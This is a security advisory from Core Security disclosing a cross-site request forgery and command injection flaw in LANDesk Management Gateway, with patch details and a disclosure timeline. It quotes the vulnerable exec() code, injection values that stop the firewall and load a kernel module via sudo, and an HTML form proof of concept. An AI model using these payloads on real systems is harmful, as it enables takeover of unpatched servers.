LANDesk command injection

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      Core Security Technologies - CoreLabs Advisory
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                 LANDesk command injection


1. *Advisory Information*

Title: LANDesk command injection
Advisory Id: CORE-2010-0104
Advisory URL:
http://www.coresecurity.com/content/landesk-csrf-vulnerability
Date published: 2010-02-04
Date of last update: 2010-02-04
Vendors contacted: LANDesk Team
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Cross site request forgery [CWE-352], Cross site scripting
[CWE-79], OS command injection [CWE-78]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 37905
CVE Name: CVE-2010-0368, CVE-2010-0369


3. *Vulnerability Description*

The LANDesk division of Avocent Corporation [1] provides systems
management, security management, service desk, asset management, and
process management solutions to organizations. The company's software
is used worldwide.

A security vulnerability was discovered in LANDesk Management Suite: a
cross-site request forgery which allows an external remote attacker to
make a command injection that can be used to execute arbitrary code
using the webserver user. As a result, an attacker can remove the
firewall and load a kernel module, allowing root access to the
appliance. It also can be used as a non-persistent XSS.

In order to be able to successfully make the attack, the administrator
must be logged in to the appliance with the browser that the attacker
uses to make the attack (for instance, exploiting a XSS in a different
tab in the browser).


4. *Vulnerable packages*

   . LANDesk Management Gateway 4.0-1.48 (and older)
   . LANDesk Management Gateway 4.2-1.8


5. *Non-vulnerable packages*

   . LANDesk Management Gateway 4.0-1.61
   . LANDesk Management Gateway 4.2-1.61


6. *Vendor Information, Solutions and Workarounds*

The patch name is GSBWEB_61. When applied to versions 4.0 and 4.2 of
the LANDesk Management Gateway it will bring them to 4.0-1.61 and
4.2-1.61 respectfully. For additional information contact LANDesk
support forums [2].


7. *Credits*

This vulnerability was discovered and researched by Aureliano Calvo
and Adrian Manrique from Core Security Technologies.


8. *Technical Description / Proof of Concept Code*

The Landesk web application does not sufficiently verify if a
well-formed request was provided by the user who submitted the
request. When the web application receives a request to remove a
previously generated backup from a client, the request will be
processed by 'gsb/BackupRestoreTab.php', which has the following lines:

/-----
19  $cmd = "sudo /subin/backuptool --delete {$_POST['delBackupName']}";
20  exec($cmd);
21  $msg = "Successfully Removed: {$_POST['delBackupName']}
- -----/

 Thus, it might be possible for an attacker to trick a client into
making an unintentional request to the web server by handcrafting the
'delBackupName' parameter. As a result, an attacker can generate and
send an arbitrary command line ('BackupRestoreTab.php:19') that would
be executed in the context of the web server ('BackupRestoreTab.php:20').

In order to trigger this vulnerability, a POST request with the
following parameters must be made to 'gsb/datetime.php':

/-----
<delBackupName>: 'a; [injection]'
<backupRestoreFormSubmitted>: 'b'
- -----/

Using this information an external remote attacker can run arbitrary
code using the 'gsbadmin' user (that is the user running the
web-server), but the 'gsbadmin' user has sudo privileges. Looking at
'/etc/sudoers', you can see that the attacker can also take down the
firewall (injecting: 'a; sudo /subin/firewall stop' into
'delBackupName') and load arbitrary kernel modules (injecting 'a; sudo
/subin/modprobe /tmp/a_module'), effectively taking complete control
of the server.

In order to be able to successfully make the attack, the administrator
must be logged in to the appliance with the browser that the attacker
uses to make the attack (for instance, exploiting a XSS in a different
tab in the browser).


8.1. *Proof of Concept*

This PoC is an HTML form (that can be hosted on any web site) that
makes a request to the '[server]'. The parameter
'backupRestoreFormSubmitted' must contain any value in order to
trigger the vulnerability. The parameter 'delBackupName' contains the
actual injection. In the example, we generate the file '/tmp/ATTACKED'
to show that arbitrary shell commands can be executed in the server.

/-----
<html>
  <head><title>LANDesk PoC</title></head>
  <body>
    <form method="post" action="https://[server]/gsb/datetime.php">
      <input type="text" name="delBackupName" value="; touch
/tmp/ATTACKED">
      <input type="text" name="backupRestoreFormSubmitted" value="b">
      <input type="submit" value="Attack!">
    </form>
  </body>
</html>
- -----/


9. *Report Timeline*

. 2010-01-04:
Core Security Technologies notifies the LANDesk team of the
vulnerability, setting the estimated publication date of the advisory
to January 25th 2010.

. 2010-01-05:
The LANDesk team asks Core for a technical description of the
vulnerability.

. 2010-01-05:
Technical details sent to LANDesk by Core.

. 2010-01-05:
LANDesk notifies Core that they have reproduced and confirmed the
vulnerability. The vendor also notifies that they have created a
Change Request in house for this, and that they are currently scoping
this issue for setting a time for a patch release.

. 2010-01-18:
Core asks LANDesk team for a status update and reminds the vendor that
publication of the advisory is scheduled for January 25th.

. 2010-01-18:
Vendor estimates that it is on track to have the fix ready for
publication at the end of the month.

. 2010-01-21:
Core asks LANDesk additional information in order to understand the
impact of the vulnerability. Core identifies two different flaws:

   . CVE-2010-0368 - CSRF
   . CVE-2010-0369 - XSS

 but it is not clear whether the vulnerability has to be considered as
an OS command injection too.

. 2010-01-21:
LANDesk notifies Core that this flaw is also an OS command injection
vulnerability, since the privileges to OS are not implied to users who
login to the web interface.

. 2010-01-22:
Vendor informs us that the affected versions are LANDesk Management
Gateway prior to 4.0-1.48 and 4.2-1.8. LANDesk also notifies us that
the patch for 4.2 versions have been released, but they have ran into
a snag getting the 4.0 patch out; for that reason, LANDesk asks Core
to postpone the announcement of the advisory for up to 10 days.

. 2010-01-25:
Core responds that the announcement can be postponed if the
information about the vulnerability is not public. Core also asks
LANDesk for additional information about the released patch for 4.2
versions.

. 2010-01-26:
LANDesk responds that the patch is only available to the users of the
4.2 version of the LANDesk Management Gateway and there was not a
public announcement for it. The patch is only available for download
in the LANDesk patch content stream; and that means the patch can only
be accessed from a LANDesk Management Gateway and is not publically
viewable. Details of the vulnerability have not been disclosed in the
patch description.

. 2010-01-29:
Core notifies LANDesk that the advisory publication have been
rescheduled for the next Thursday, February 4th.

. 2010-01-29:
LANDesk notifies they are on schedule to meet the February 4th date.

. 2010-02-03:
Core asks LANDesk for a status update.

. 2010-02-04:
LANDesk notifies that a fix has been produced for all affected
versions and they are ready to make the announcement. LANDesk also
notifies they are grateful for Core Security Technologies' dedication
and professionalism to secure computing.

. 2010-02-04:
The advisory CORE-2010-0104 is published.



10. *References*

[1] LANDesk website http://www.landesk.com/.
[2] Vendor information about these issues
http://community.landesk.com/support/docs/DOC-8333/.


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is
charged with anticipating the future needs and requirements for
information security technologies. We conduct our research in several
important areas of computer security including system vulnerabilities,
cyber attack planning and simulation, source code auditing, and
cryptography. Our results include problem formalization,
identification of vulnerabilities, novel solutions and prototypes for
new technologies. CoreLabs regularly publishes security advisories,
technical papers, project information and shared software tools for
public use at: http://www.coresecurity.com/corelabs.


12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources
are exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and
software security auditing. Based in Boston, MA and Buenos Aires,
Argentina, Core Security Technologies can be reached at 617-399-6980
or on the Web at http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2010 Core Security
Technologies and (c) 2010 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper
credit is given.


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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